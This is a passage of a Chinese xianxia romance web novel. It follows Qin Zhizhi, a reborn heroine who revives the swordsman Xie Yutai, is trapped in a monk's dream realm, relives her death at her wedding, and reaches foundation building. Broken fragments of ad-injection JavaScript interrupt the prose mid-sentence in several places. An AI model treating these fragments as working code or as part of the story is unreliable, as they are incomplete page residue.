她觉得很奇怪,从重生遇到谢煜台后,她就觉得哪里一直很奇怪。 秦知知见过谢煜台淬炼剑意时的凝神专注,见他比剑切磋时的意气风发,见他斩杀邪魔时的坚定果断。毫不夸张的说,只要谢煜台在,他就是众人的主心骨。这世间仿佛没有他做不到的事,他做到的事倒也不用过多夸赞,不过是理所当然。 然而再遇谢煜台后,这样的安心感却消失了。 秦知知原是觉得因为自己换了个身份,视角不同。现下看来,好像不是自己的问题。她觉得……谢煜台好像变了。 他变了。 但是秦知知说不清。 她叫了谢煜台的名字,却没有听到任何回应。秦知知心下一沉,跑到他的面前,有些焦急:“谢……谢仙长!你到底怎么了啊?” 谢煜台依然是同样的姿态,一动不动。 秦知知跪在他的身前,微微仰头看着他的脸,这才发现,谢煜台脸色苍白,丝丝血迹正从他的嘴角溢出。 秦知知抓住谢煜台的双肩,有些慌张,她下意识的晃了晃谢煜台,想要对方给她一个回应。然而秦知知现在的力量小的令人无语,谢煜台纹丝不动。 她想到苏青衣给自己的乾坤袋里还有两颗救命金丹,连忙掏出一颗来就往谢煜台的嘴巴里塞。可谢煜台双唇紧抿,牙关紧闭,不管秦知知用什么方法都无法将金丹塞进他的嘴中。秦知知恨得牙板痒痒,那条横在谢煜台双目上的白练白晃晃的映在秦知知的眼中,显得她越发心烦意乱。 谢煜台是昏迷了?快死了?还是装死?她看不见对方的眼睛,她无从得知。 瞎了就瞎了,做什么装神弄鬼的把眼睛蒙上?这样别人怎么知道他的情况?怎么跟他交流?他不知道这个白练有多刺眼吗? 秦知知越想越气,心里像是推翻了调料罐似的五味杂陈,又酸又涩,一时之间竟是不知道什么样的感情更多一些。她恶向胆边生,伸出手去就要把谢煜台眼睛上的白练扯下来。 就在她要出触碰到这层白练时,禁制骤开,冷冽的剑气扑向她的手掌,下一刻,秦知知被狠狠弹开! 秦知知:…… 谢煜台有病?!一条蒙着眼睛的破布而已,至于吗? 秦知知痛的眼泪都要飞出来,看着自己无辜受难的手掌,鼻头一酸,冲上前去扯住谢煜台的衣领。想到对方刚刚抗拒吃丹药的模样,不知道是愤怒更多还是烦躁更多又或许是有瞬间的委屈,她直接伸出手狠狠的抽了谢煜台一巴掌。 但听“啪”的一声脆响,秦知知这一巴掌打的又痛又响,连带着她的掌心都一阵发麻。 “谢煜台,你想死吗?”秦知知恶狠狠的出声,可不知为何,她的声音有些不经意的颤抖,“你想死我管不着,但是我还不想死,你给我醒过来!” 说完她再次将金丹塞进谢煜台的嘴中,不知道是不是那一巴掌的效果,这一次谢煜台没有再明显抗拒,将金丹吞了进去。 果然,男人不听话就得打,打到听话为止。 秦知知心里不住的冷笑,人却跪坐在地上,像是从水里 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 刚捞出来似的出了一身冷汗。她这才发现,自己全身都在止不住的颤抖。 原来她那么害怕谢煜台会死掉。 不过秦知知又转念一想,自己小命还挂在这人身上呢,她能不关心能不在意吗? 吞下金丹的谢煜台像是回过气一般猛然咳嗽几声,他持剑的右手骤然收紧,声音沙哑的厉害:“……知知?” 知你个大头鬼啊。 秦知知翻了个白眼忍不住呛声道:“难为谢仙长还能记起小女秦芝芝,我可差点死了您知道吗?劳驾仙长下次不要命前能不能好好三思三思,武都城的秦芝芝还在和光派盼着您找到解符方法,平安回去呢。” 此“芝”非彼“知”,谢煜台还是得搞清楚一点。 不过连在同盟娑婆宗的地盘都能差点没了,看来她完全低估了作为男主的危险程度。 谢煜台握紧撼天剑,从地上缓缓站起。他颔首,声音又恢复了一贯的平稳淡漠:“抱歉。” 现在态度倒是好起来了,秦知知眉头一挑正要说点什么。谢煜台却身形一动,捞着她的胳膊就将秦知知从地上带起,不动声色之间两人已经藏入大殿左侧放着的屏风之后。秦知知不明所以,还想探头向外看去。 谢煜台察觉到,屈指将她的头按了回去。秦知知只依稀看到一个身影从大殿门外一闪而过。 屏风后面空间狭小,十分拥挤。秦知知迫不得已与谢煜台面面相觑,不过好在她个子矮,只到谢煜台的胸口。被按回来的秦知知屏住呼吸,瞪大眼睛盯着谢煜台近在咫尺的胸膛,有些摸不着头脑。 过了一会秦知知才敢极小声问了一句:“那是谁?你为什么躲他?” 谢煜台微微侧头,见外面完全没有动静后方才答道:“也许是我想错了。” 秦知知简直满头问号,合着也许是你想错了,然后你就搁这儿躲起来了? 她沉默半晌,认真问道:“谢仙长,你是不是在娑婆宗做了什么?” 谢煜台没有回答这个问题,转而低声问道:“什么样的情况……浑天镜也搜不到那人三魂六魄?” 浑天镜?秦知知想到刚刚在大殿中间看到的铜镜,原来那就是传说中的浑天镜啊。都说娑婆宗有可以通天绝地的浑天镜,凡是天地之间的万物,是妖是魔是魂是精,就没有浑天镜照不出来的。 浑天镜都找不到的?那不就是没了嘛。 秦知知想都没想的答道:“魂飞魄散了呗。” 待说完她心蓦地一跳。 她的心跳越来越快,砰砰砰的几乎就要掩盖她说话的声音,跳出自己的胸口。秦知知将自己半张脸都埋进衣领中,探出两只圆溜溜的大眼睛,死死盯着眼前的宽阔胸膛。 秦知知咽了咽口水,有些艰涩的开口:“……你……你是要搜谁的魂魄?” 那一刻,秦知知脑海中突然想到一个答案,她甚至不敢呼吸,更不知道自己在期待着什么。 谢煜台没有回答。 他仿佛被下了封口咒一般,不知是不能说、不愿说还是不敢说。 秦知知曾经一度恨极了这点。气愤于他的沉默寡言,扎心于他的无动于衷,令她抓狂不已。 熟悉的烦躁感又从心头涌了上来,秦知知握紧拳头,装作若无其事的偏过头去。 许是察觉到气氛的怪异,谢煜台动作一顿,继而淡淡道:“方才意识模糊中,似有人打了我。” “谢仙长,你开什么玩笑?”秦知知惊讶,“谁那么胆大包天,敢打你的脸啊?” 谢煜台:“……” 13. 013 秦知知理不直气也壮:对,就是我打了你,那又怎样?你有证据吗? 谢煜台又一次缄默不语。 最终他似是微微叹息:“多谢秦姑娘救命之恩。” 总算是说了一句人话,左思右想自己现在横竖跟谢煜台也没什么太多交情和牵扯,他爱说不说,跟自己有什么关系。 想通了这点,秦知知心态又恢复过来:“谢仙长客气了,不过不用谢我,这是和光派的东西。” 谢煜台道:“你的未婚夫?” 秦知知一愣,半天才回过味来,原来谢煜台是在问这个东西是不是她的未婚夫君无涯给的。 当然……不是啊。好奇怪的问题。 不过吧…… “有劳谢仙长还记得,”秦知知语带娇羞,瞬间秦芝婕附体,“就是君哥哥给的呢。” “他对你好么?”没头没脑,谢煜台突然问道。 秦知知面无表情却语气欢快道:“可好了呢。” 夹子音,这个她会呢。 因着刚才谢煜台捞着秦知知躲在屏风后,如今放松下来,秦知知又不想再盯着谢煜台看,只好将目光移到眼前的屏风上。 不看不知道,一看便发现屏风上密密麻麻的勾勒着各式各样的线条。 秦知知忍不住“咦”了一声。 这刻在屏风上的线条复原了一场画的创作。 一开始只是零散的几笔,在后面渐渐勾勒出一个形状,越来越具体,在什么地方加上了褶皱,什么地方加上了衣服,又在什么地方画出了一双眼睛。顺着屏风从上到下又从下往上看,一笔一画的增补,笔下的纹路渐渐清晰,总共用了一百零八笔。 最后一笔落成,呈现出一副完美的卧佛画像。 “这个画的像是要活了似的。”秦知知立刻被转移注意力,啧啧称奇起来。 最后一幅画面已经完成,细看去却并不是释迦摩尼,而是个体态微胖的圆脸大师,着通肩袈裟,右卧禅榻之上。左手随性的搭着圆溜溜的肚子,右手直伸颈下与枕间。虽然闭着眼睛,面上却还带着笑容。 秦知知因这画画的实在栩栩如生,忍不住伸出手去想要触摸一下看看是否是个真人,就在指尖触碰到屏风画的刹那,老和尚睁开了双眼—— 宇宙星辰,万般寂灭。 巨大的力量扯住秦知知,秦知知只来得及短促的叫了一声,便被黑暗覆盖。最后一眼,她看到老和尚睁开的双眼中拥有着绚烂星辰,广袤璀璨。 下一刻,她跌落进滚滚黄沙深处。 流沙就像海洋,不断的向下坍塌,一层一层的堆积,几乎快要将秦知知吞没。 她强作镇定,吐着黄沙的同时还不忘滑动双手,保证自己不被流沙湮没。然而不知何处卷起阵阵风沙,铺天盖地的砸向秦知知。 秦知知无助的抬头,视线触及的范围内,天苍苍野茫茫,除了一望无尽的沙漠,没有生命,没有水,没有一点点绿色。 她放弃挣扎,直接躺平。 只要我躺的够彻底,就没人可以威胁自己。秦知知破罐子破摔的想到,什么破和尚,不就摸了他一下,至于把自己丢到这个鬼地方吗? 沿着流沙坠落,秦知知安详的闭眼,只觉得身体一轻。没有意料之中的窒息,被黄沙拥挤的下陷感也全然消失。 霎时眼前风云变化,无数画面一一闪过。 她双脚悬空,仿佛被困在一个玻璃球中,四面八方照着的是光怪陆离的记忆,扭曲着咆哮着扑向自己。 秦知知只觉得一阵强光袭来,照的她双眼刺痛。下一刻微风轻轻拂过她的发梢,仿佛沐浴在温暖之中,屋檐下的风铃清脆作响,秦知知缓缓睁开双眼。 她的手上沾染着鲜血,食指拇指中间正捏着一根细草。草茎极短,叶长下垂,落在她的鱼际旁,幽蓝且微茫的暗光。 看到这株草,秦知知嘴角扯出一抹十分奇异的笑容。 阴阳同生/蕊,一根长出双生蕊。阳/蕊草茎直上独摇风中,阴/蕊则叶长茎短,形似柳条。是修仙界的奇草之一,十分罕见却功能强大。这是秦知知第一次见到阴阳同生/蕊,也是作为天同宗秦知知的最后一次。 归元宗的主殿是铺天盖地的红,三百六十五级阶梯之上,大红色的地毯逶迤昳丽。檐上拴着红线的风铃清脆作响,檐下百位宴请的宾客觥筹交错。 从不远处传来轰隆一声巨响,所有人都惊诧的向山下看去,不知道谁突然大叫了一声,本来满面喜色的众人霎时陷入了一片慌乱—— “魔族来了!魔族打上主峰了!” “魔族右护法姜沅芷率一万大军,是姜沅芷!那个恶毒的女人!” “不好,这酒中好像有化功散……” 秦知知离这些声音很远,其实并没有感觉到什么疼痛,只是她有些头晕,两腿发软,摇摇晃晃便觉得自己有些站不稳。就在跌倒的瞬间,一双手扶住了她,让她跌进一个胸膛之中。 她微微抬头,看见那人双眼赤红,颤抖着握住她的手。 那人身着红色的黑边金绣锦袍,神仪明秀,面如冠玉。脱下平日里的白衣如雪,一身绯色不减半点清隽,更添了几分风流写意。 原来这人穿红衣也这般好看。倘若不是眼角泛红,目眦尽裂的模样,倒要比平日里更好看。 那日秦知知忙着做任务,捅肚子时紧张又害怕,甚至没来得及多看两眼。 秦知知看着谢煜台,眼神有几分奇异。作为兢兢业业完成攻略任 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 务的穿书者,倒下的第一本能反应就是,她配套的台词说完了没? 不知道是因为失血过多在抖,还是因为谢煜台在颤抖呢?她晃得头晕。 “你我两清了……” 谢煜台张了张嘴,一手拥着她一手捂着她的伤口,声音低哑的可怕:“说什么傻话……” 秦知知猛然反应过来,原来是谢煜台在颤抖啊。他怎么抖成这个样子。 “你我之间怎么可能两清……”谢煜台抬起手,轻轻摩挲着秦知知的双唇。今日新娘子涂着大红的口脂,与她的凤冠霞帔颜色一致,鲜艳漂亮到了极点。秦知知一直都是那般明媚好看的,红色最衬她。谢煜台眼角泛红,一丝血迹从嘴角蔓延,他怕滴下来污了秦知知的脸,抬起袖袍拭去。 可是秦知知却看不见,她晕的厉害,闭上眼睛,一时分不清自己究竟是在做任务,还是在做梦。眼睛看不见,心理活动是一点也没少,这谢煜台也太贪心,命都给他了,还有什么不能两清? “我不嫁了,谢煜台。” 她好像要死了。临死之前赶紧尽职尽责的把台词再说一遍。 耳边乱成一团,刀光剑影,魔军已是攻上主殿。玄色大红的旌旗上画着鬼面,在猎猎风中扭曲变形,越发的可怖,宛如从地狱爬出的恶鬼。 尚未中毒的修士们抽出本命武器和魔族打了起来,场面混乱成了一团,不断有人在尖叫还有人在惊吼—— “新娘子死了!” 天同宗宗主傅行云正将魔族的一个副将一刀斩下,闻言大恸,回头看向阶梯之上,大怒道:“谢煜台!谢煜台!你在做什么?” 谢煜台仿佛没有听见质问,他抱着秦知知渐冷的身体,低声笑了起来。鲜血从他口中涌出,滑落在衣襟之上,比喜服还要更红。他却恍若未觉。堂堂名满天下的第一剑修,每每都如谪仙人一般,何曾有过这样的狼狈不堪。 铃铛声伴随着来者的动作叮咚作响,穿着姜黄色衣衫的姜沅芷从魔军中走出,大半修士因之前吃下化功散的酒已被押解,几个门派的宗主与长老虽然尚有实力对抗,只是太多人质在他们手中,亦是不敢轻举妄动,只能恶狠狠的盯着这个女人。 她个子不高甚至有些瘦小,远远看上去宛如稚童,上挑的桃花眼里却露出几分与外形不相符的娇媚妖娆。修士们恨她却不敢小觑她,这是一个修为已至元婴的可怕女人。 姜沅芷背着手,笑的一派天真:“哎呀呀谢煜台,我今日来的不巧,坏了你的喜事。” 她一步一步登上阶梯,走到谢煜台身边,见他紧紧抱着怀中之人,对周围一切置若罔闻,不禁笑意更甚,轻轻开口,字字句句,犹如蛊惑。 “谢煜台,你想救她吗?想救她,就跟我走。” 14. 014 宛如溺水之人重新获得空气,秦知知蓦地惊醒,睁开双眼大口喘息。她的视线一片漆黑,仿佛堕入虚空。 秦知知顿觉不妙,刚刚入戏太深差点把自己给坑进去,要不是没有系统的声音,她真要觉得自己死了。 是什么时候觉得不对的呢?秦知知闭上眼睛之后,觉得意识逐渐丧失,就要直接消散在天地中,她突然想到,不对啊,我系统呢? 她可跟别人不一样,自己可是带着一个系统的穿书者啊!任务结束了,婚也不结了,她的系统该提醒自己任务结束,而不是放任她直接死去。 总而言之,言而总之:不对啊,她放在脑子里那——么大一个系统呢? 就在意识到这点的瞬间,秦知知重新获得呼吸,蓦地惊醒。 真是好险,差点就着了道。 秦知知现在哪里还摸不清状况?一切的异变都是从老和尚睁开双眼后发生的。屏风画之上,体态微胖的圆脸和尚面带笑容睁开双眼。从他的眼里,你看到一粒沙、一朵花、一滴水,又看到一佛塔、一世界、一星辰。 芥子须弥,刹那永恒。 魂归四方的秦知知虽然从未见过这样神奇的事情,却想到一个故事。自己曾在天同宗的藏书阁中翻到过一本《彼世奇闻》,书里写的是千万年前流传在此间的神话传说,其中有一则与娑婆宗有关。 大陆曾有传说,我们生活之此世不过是梵天的一个梦境。所有人都生活在他的梦里,只要他翻个身醒来,人们就会像树叶一样被他从梦里抖落,堕入无边的虚无。娑婆宗的一代掌门听到这个故事后,于菩提树下日日苦修,开悟见性。自创心法“净天梦”,并一手创立娑婆宗,在五百年后成功飞升,成为当世大陆史有所载的第三位飞升修士。 净天梦可以让人自困梦境,甚至死亡,只是心法诡异,十分难练,遂后人几乎不再传承。现在的娑婆宗除了宗主那一脉之外已没有人再练这个功法,秦知知也从未见过。 但凡她要是见过,当时就应该直接把屏风画上那老和尚的眼睛给挖掉! 虽然尚不知为何,但秦知知如果没猜错,她所进入的并不是自己的梦境,而是谢煜台的梦,因为并不是自己的梦,所以她的行动才有限制。因为皆是二人亲历,差点把秦知知也套进去。若不是她想到自己还有个系统,恐怕就要如梦中所见,直接魂飞魄散了。 秦知知眉头紧皱,越想越气。 正在这时她听到一些声音从黑暗中传来。碰翻的桌椅、混乱的打斗,夹杂着一个女人癫狂的笑声。 “哈哈哈、谢煜台,你疯了,你真以为杀了我,就能全身而退,为她报仇?” 秦知知耳朵竖起,循着声音处看去。可是她什么也看不见,视线之内所见唯有一片漆黑,黑的没有边界,令人无端窒息。 良久,才听到一个清冷的声音缓缓道:“你不该动她。” 癫狂的女声狠狠“呸”道:“要不是她太蠢,怎么会上钩?” 什么东西被狠狠劈断的声音,接着便是死一般的寂静,秦知知屏住呼吸,耳中响起的是自己如雷鸣般的心跳。 女人低笑道:“呵呵……你不敢杀我,我们的交易还没完呢。” “你究竟要什么?” 女人的声音犹如海妖的魔咒,在耳边低吟。 “谢煜台,我要你的心。” 谢煜台的心。 好奢侈的东西。 曾经的秦知知也想要。 后来她只会想,谢煜台真的有心么? 练太上忘情的人,真的会有心么? 那一个创造太上忘情功法并且成功飞升的雪堂上仙,一生无亲无友,无情无爱。他在飞升前只做了一件事情——亲手斩杀了自己的师父,当时归元宗的宗主。人们都说,这是斩断他对此世界的最后一缕牵挂。可笑归元宗宗主将他亲手抚养长大,教导成人,最后竟落得这样的下场。 世人都说,想要成就太上忘情,就要绝情断爱,没有一丝牵挂。 雪堂上仙飞升五百年后,谢煜台拿起了这个功法,成为唯一一个修炼太上忘情的人。 与其说是他选择功法,不如说是功法选择了他。 秦知知静静坐在虚空之中,想着一些有的没的。却在瞬间又感受到了被剜心似的疼痛,她脸色骤白,死死攥住自己的衣领。在这一刻,好像有人用手狠狠捏住了她的心脏。 原来在梦中她也会真的痛吗?为什么啊? 秦知知宛如被扼住喉咙,只觉得一阵窒息,全身冷汗如暴雨般落下。她无法控制自己的动作,只觉得胸口骤然收紧,如同被什么东西狠狠勒住。 那样强烈的濒死感将她完全湮没,秦知知眼前一片模糊,终究是全然闭上了双眼,重新陷入一片黑暗。 待心痛消散,再次睁眼,秦知知全须全尾的站在一片虚空,面无表情。如有一个词能形容她此时的感情,那就两个字:麻了。 不得不承认,净天梦有点强。以假乱真、真情实感,难怪娑婆宗近百年未出什么青年才俊,却始终能占三宗一席之地。就凭宗主这一个净天梦,练的炉火纯青之后只怕动个眼神,大半个魔界或修仙界都能给一起端了。 要不是她始终提醒自己这只是梦,强行让自己闭眼入睡,估计这波又要凉。 秦知知开始无端惆怅。 太难了,这题真的太难了。 谢煜台能破梦吗? 她正长长叹了口气,却听到耳边突而一个声音冷哼道:“哼,竟然有人这么快就破了我的梦,真是无趣。” 秦知知“蹭”的站起,见原本一片虚空之地突然出现一抹淡淡的亮光,一个模糊的身影凭空出现。像是有人挥笔在空中做出的水墨画来,那颜色越来越深,轮廓越来越清晰,直至最后,一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 个身披袈裟的圆脸和尚站在了她的面前。 不正是之前屏风画上侧卧着的和尚吗? 秦知知瞪圆了眼睛,上上下下打量着眼前的人,暂时没敢靠近。 那圆脸和尚也毫不客气,上上下下看着她,末了一脸嫌弃道:“就你?” 秦知知一听这话莫名其妙:“就我,怎么了?” 圆脸和尚气不打一处来:“我这么有趣的功法,最后却被你这个神识有缺的人捡去了,我还玩什么?” 秦知知震惊:“啥玩意儿?” 什么神识有缺?他在说自己吗? 圆脸和尚奇怪道:“你自己不知道?” 秦知知挠头:“我不知道。” 圆脸和尚也学着她的模样挠起头来,圆溜溜的脑袋配着圆溜溜的眼睛:“你好好想想,你是不是长这么大,从未做过梦?” 秦知知刚要呛声,眼神一转,闭起了嘴巴。 仔细想想,她好像真没做过梦。 以前是觉得自己睡太死,起床想不起来便罢了,修仙之后是觉得修仙之人本来也不该怎么做梦,倒也没细细寻思这件事。 秦知知不解:“可是我挺正常的啊……” 在修仙界被别人说“神识有缺”,这不跟普通人被指着鼻子骂“你是智障吗”一模一样?她自幼在天同宗长大,不能说是天才挂的至少也是有点小聪明的类型,怎么就神识有缺,怎么就是智障了?记忆中武都城的秦芝芝也是个再正常不过的,虽然是个柔弱寡言的性子,但根本没什么毛病。 圆脸和尚手中捏了个诀,掐算一下,扬起圆脸肯定道:“你三魂六魄中缺了雀吟与绯独,仅有三魂四魄,可不是神识有缺?” 秦知知疑惑:“雀吟与绯独是什么?” 圆脸和尚解释道:“雀吟司爱,绯独主欲。” 秦知知一时怔愣,半晌没有回过神来。 不知道为何,她突然想起初见谢煜台的场景。 那一年的三宗大比,守擂方谢煜台剑锋冷冽,臻至化境。 他的剑锋从秦知知的鬓边划过,几缕发丝斩落,剑气挑开她红色的发带,落在地上,断成两截。秦知知却在这一刻近了谢煜台的身,抬手“刷”的伸向谢煜台的腰间,拿到了他挂在腰间的匕首。 春风拂过,夕阳斜照,一抹晚霞栖息在谢煜台的眉间,他的眸中闪过丝丝微澜。 “哎呀,你把师兄送我的护身发带弄断了!”秦知知下巴微微扬起,得意的转着手中的匕首,笑容狡黠的像是小狐狸,“不如,便用这把匕首赔给我吧?” 那时她在心里想着,原来这就是传说中太上忘情,冷心冷性的男主角,谢煜台。 良久,见秦知知不再接话,圆脸和尚纳闷道:“你怎么了?” 秦知知方才如梦初醒一般“啊”了一声,恍然大悟道,“原来封心锁爱的是我啊。” 15. 015 不知太上忘情与神识有缺相比较起来,究竟是谁要更狠一些?脑子里飞速闪过这一念头,顷刻又被自己略过。百般滋味如潮水似的在心头起起伏伏,一时之间将秦知知完全湮没。 待从情绪的浪潮中探出头来,她倒抽一口气,感到奇怪:“不对呀,那我缺的雀吟与绯独去哪儿了?” 她三魂六魄都不全,还能活蹦乱跳的逍遥了两世,不仅自己毫无感觉,周围的人也丝毫没有察觉。这没道理吧。 秦知知将眼神落在眼前神秘的圆脸和尚身上,炯炯有神:“你知道的,对吧?” 圆脸和尚挠了挠头,又摸了摸自己光秃秃的下巴,摇头晃脑道:“天道有常,我又岂能事事知晓?” 秦知知看他这幅模样,不给面子的撇嘴道:“你知道。” 圆脸和尚动作一顿,笑的双眼眯起:“是又如何?此乃你命中劫数,旁人插不得手。” “那你和我说这些,是为了什么呢?”神识有缺的人,是无法飞升的。要么找回来,要么就凝神化气补全自己的神魂,但岂能像说的这般轻巧容易?否则,修士元神受伤便不会那般严重,要比身上的伤严重许多。 秦知知想到这里,不禁叹了口气:“而且我天赋不佳,不过是杂色五灵根罢了,今世想要修仙又谈何容易?” 若要论起天赋,自然是天同宗秦知知的天赋更佳。她虽和秦芝婕一样都是金水双灵根,比不得数一数二的翘楚,但也绝对称得上是天生骄子。更何况天同宗比之武都城底蕴更加深厚,便是用灵石丹药硬灌,也把她硬生生灌成了十六岁便筑基的小天才——这就是钞能力,不服你也砸钱。 “咦?”圆脸和尚伸指掐算,奇道,“你分明是金水双灵根,又怎么会是五色杂灵根?” 秦知知:“咦?” 她明明刚测过灵根,和光派的青灵石不会出错,除了苏青衣也没人知道她要去测灵根,秦芝婕便是想动手脚也没办法。 秦芝婕…… 分明她才是金水双灵根。 秦知知突然想到原身三四岁时生了一场大病,差点就活不下来。后来虽然侥幸捡回一条命,也不过是个废人罢了。而与她相差不过几个月的妹妹却在不久之后被查出有金水双灵根,成为天资出众的修士,开始和父亲一同修行。 她又想到,那一日在和光派中,手搭在青灵石之上的时候,恰逢灵气运转的瞬间,自己分明感觉到了十分熟悉的气息,故而爆发出不可思议的力量,痛击了秦芝婕。 难道…… 秦知知有些不敢置信,难道秦芝婕身上的,其实是自己的灵根? “不过你不必担心,我自会助你。”圆脸和尚笑着走上前来,敲了敲秦知知的脑袋。秦知知顿觉识海之中一片清明,她有些诧异的抬头,便见眼前的和尚眼中蓦地升起淡金色的一轮瞳仁,与黑瞳重合。 黑与金的碰撞,仿佛日月交辉,引的秦知知神魂震荡不已。 “你究竟是什么人?”秦知知喃喃低语。 圆脸和尚绽开笑意:“我是什么人,并不重要。” “你只需记得我所传之功法。” “净天梦?” “净天梦?”和尚轻笑,“不,比‘净天梦’更厉害。” “瞳术‘罗摩眼’。” 秦知知脑中“嗡”的一声炸响,她看见自己丹田深处原本混沌一团的气雾被一双大手拨开。伴随着抽筋剔骨般的剧痛,迷雾吹散,淡淡的金色与幽幽的蓝光泛起,露出原本属于秦芝芝的金水双灵根。 她身心轻盈,遍体舒畅。 接着,她看到一粒种子破土而出,伸出嫩芽,看见阳光倾泻,花/苞绽放,看见风吹落叶,春泥护花。看见一粒沙、一层塔、一片海,看见天地万象,自在天涯。这一瞬间,她看的很细又看的很近,仿佛站在原点,却又四散天地,无处不在。 “为什么是我?”秦知知看向世间万象,心中微茫,“为什么是我?” 她的神识里出现一枚玉珏,无数文字从玉珏中向自己卷来,然而上面写的文字她却一个都不认识,耳边传来书页簌簌纷飞的声音,和着九天梵唱—— “湛然常寂,应用无方,用而常空,空而常用。” 十六个大金字出现在她的眼前,又疏忽散去,万物沉寂,只余己身。 圆脸和尚的声音在耳边回响。 “法渡有缘人。” 秦知知徐徐闭上双眼。 虚空之处出现微微的震荡,气息四处逃窜。圆脸和尚心中一动抬起头,看向来者。来者满身杀气,手中那把撼天之剑被煞气充盈,他像是从地狱中走来的嗜血修罗,虽然身着白衣,却仿佛已沾染了满身鲜血。 圆脸和尚有些惊异,却将情绪很快敛去,带着笑意道:“不愧是雪堂上仙看上的人。” 第二个破梦的人出现了。 不是因为醒来,亦不是因为参透玄机,他全靠手中的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一把剑,杀出梦境。 梦里那把撼天,一剑寒光照九州。遇佛杀佛,遇神弑神。 归元宗谢煜台。 一身剑气,强的可怕。 谢煜台一步一步走到圆脸和尚面前,剑锋出鞘,抵在对方的喉结处,一字一句,沉声问道:“你究竟是何人?” 圆脸和尚毫无惧意,笑着抬头望他:“知道我是谁又如何?重要的是,你知道自己是谁么,谢煜台?” 谢煜台握着剑柄的手不易察觉的轻颤,缓缓垂下剑锋。 不过片刻,他感觉到秦知知的气息涌动,如此强悍的生命力,似是有什么东西要破土发芽。 谢煜台侧头:“她怎么了?” 圆脸和尚看向正在打坐的秦知知,目光温和:“她入道了。” 对于外界的情况,秦知知全然不知晓。 就在看到罗摩眼的刹那,她陷入了玄妙的境遇。那一刻犹如醍醐灌顶,但觉识海里有钟“嗡”的敲响,她看见万事万物于眼前更迭始终,体内灵气也在一圈一圈随着她的所见与所感堆积融合。 一元复始,万象更新。 炼气已成,可灵气还未停滞。 心中闪过一丝惊异,却顿感丹田之气和头顶百会有源源不断的灵气输送,秦知知连忙凝神静气,将灵气一圈一圈引向自己的经脉。 炼气的过程于她而言十分顺利,秦知知不过呼吸吐纳,全身便犹如被洗涤一般,在这一圈一圈经脉洗涤之后,她竟然很快便要筑基! 秦知知诧异,眼见着就要控制不住体内的灵气,一股暖流从百会传来。刚刚那在自己丹田处拨动的双手又再次出现在她的身体内,捏着灵气的一角将它重新塞回经脉之中。 一圈一圈回转收纳,汇聚丹田。不知过了多久,秦知知只觉得丹田已筑,灵台清明,霎时神清气爽,犹如新生。她张开眼,忍不住喜笑颜开。 她从未想过,自己竟会有这般际遇。 秦芝芝这具身体原本生的就极好,只是眉心总有几分难以洗脱的柔弱忧郁。如今既已筑基,洗涤一身之浊气,整个人仿佛脱胎换骨一般。这一笑仿佛万紫千红,火树银花绽放似的,明艳鲜活。 秦知知从地上站起,甫一转身,便见着一人站在不远处。听见动静回过身来,长身玉立,衣袂飘飘,衬得不染些许凡尘。他逆着光走来,阳光浸染他的衣袍,使他整个人似乎散发着淡淡的金光。 “恭喜筑基。” 16. 016 看见逆着光向自己走来的人,秦知知突然有一种不知今夕是何年的错位感。 从前的谢煜台也曾为秦知知护法。 她因自己只是身上带着系统来做攻略任务的穿书者,对修行一事向来没那么上心。用系统的话来说就是白忙活,反正都得死,再厉害也得死。秦知知索性直接开摆,平时除了刷刷好感做做任务,就吃喝玩乐一条龙。别人刻苦修行,她没事就吃瓜看话本,要不就躲藏书阁里翻八卦,除非被宗主当场抓住。 筑基什么的,当然都是傅行云用灵石丹药硬灌出来的。要是可以,秦知知看傅行云恨不得将他的半身修为直接灌到自己身上,最好是他年傅行云一朝飞升能把她这不争气的师妹别裤腰带上捞着一起飞才好。 不思进取秦知知修行不太行,做任务兢兢业业第一名。 听闻谢煜台下山历练,想也没想就收拾打包离开了天同宗。 谢煜台只是顺手接了归元宗荡魔榜上的任务,孤身一人下山除魔。没想到走到半路,身后就多了个尾巴。 原以为只是凑巧,谁知不论自己走到何处,这人都一直跟在自己身后。一开始只是小心翼翼的跟着,谢煜台忍不住加快脚程。不料被对方察觉,许是怕自己追不上,索性直接跑上前来:“这不是谢师兄吗?真是好巧啊!你也来这儿啊?你来这儿干嘛呀?” 谢煜台扫了秦知知一眼,淡淡道:“你我非是同宗,不必叫我师兄。” “好啊好啊,叫师兄多生疏啊,这么多人都叫你师兄,都显得我没那么特殊啦,”秦知知对话中的冷淡毫不在意,点头甜丝丝的笑着,“那我就叫你谢煜台,好不好啊谢煜台?” 谢煜台眼皮一抬,终究是什么也没说。 许是一路秦知知脸上的笑容过于灿烂,这次所遇魔修竟真以为二人是什么亲密关系,直接绑了秦知知前去要挟谢煜台。 秦知知推波助澜,巴不得自己惨一点,再惨一点,更惨一点。谁知道作着作着,她升阶了。无法压抑丹田内的灵气,秦知知铤而走险在魔修脚下打坐,一路冲上了筑基中期。 虽然系统就在身上会保护自己,但秦知知还是有些后怕。没想到甫一睁眼便看到谢煜台就静静坐在她的身边打磨剑意,为自己护法。撼天剑悬空立在两人中间,张开结界,阻挡一切风雨。 房门外,是早已死去的魔修尸体。 秦知知看向对方时,恰逢一缕阳光落在谢煜台的肩头。他睁眼,深邃的黑眸中清晰的倒映着秦知知的身影,微微颔首:“恭喜。” 恰逢今日,何似当年。 秦知知感到很奇怪,原以为曾经这些经历的过往,自己早忘了,却还是在不经意间就钻入脑海。 她看到谢煜台面对着自己,负手而立,难掩一身风华。仿佛有什么悄然改变,却从未改变。 秦知知从怔愣中回过神来微微笑道:“多谢谢仙君。” 不知何时二人又回到了之前的大殿之中,屏风就在眼前,可屏风上却只剩下了一堆凌乱的线条,老和尚的形象早已不见踪迹。 从入梦到破梦再到筑基,若是要放在现实之世,没有几个月怕是很难成事。可在老和尚的虚空秘境中,只不过是此世一瞬。 当真是刹那永恒,永恒刹那。 二人没有再说话,在沉默中肩并肩的从屏风后走出。 转弯时,不知是因为空间太拥挤,还是两人走的太近,秦知知的右胳膊与谢煜台的左边轻轻碰了一下。 秦知知有些诧异的扫了谢煜台一眼,见他鼻梁挺直,唇线紧抿,恍若未觉的模样,有些不自在的将手收到了背后,小小的握了下拳头。 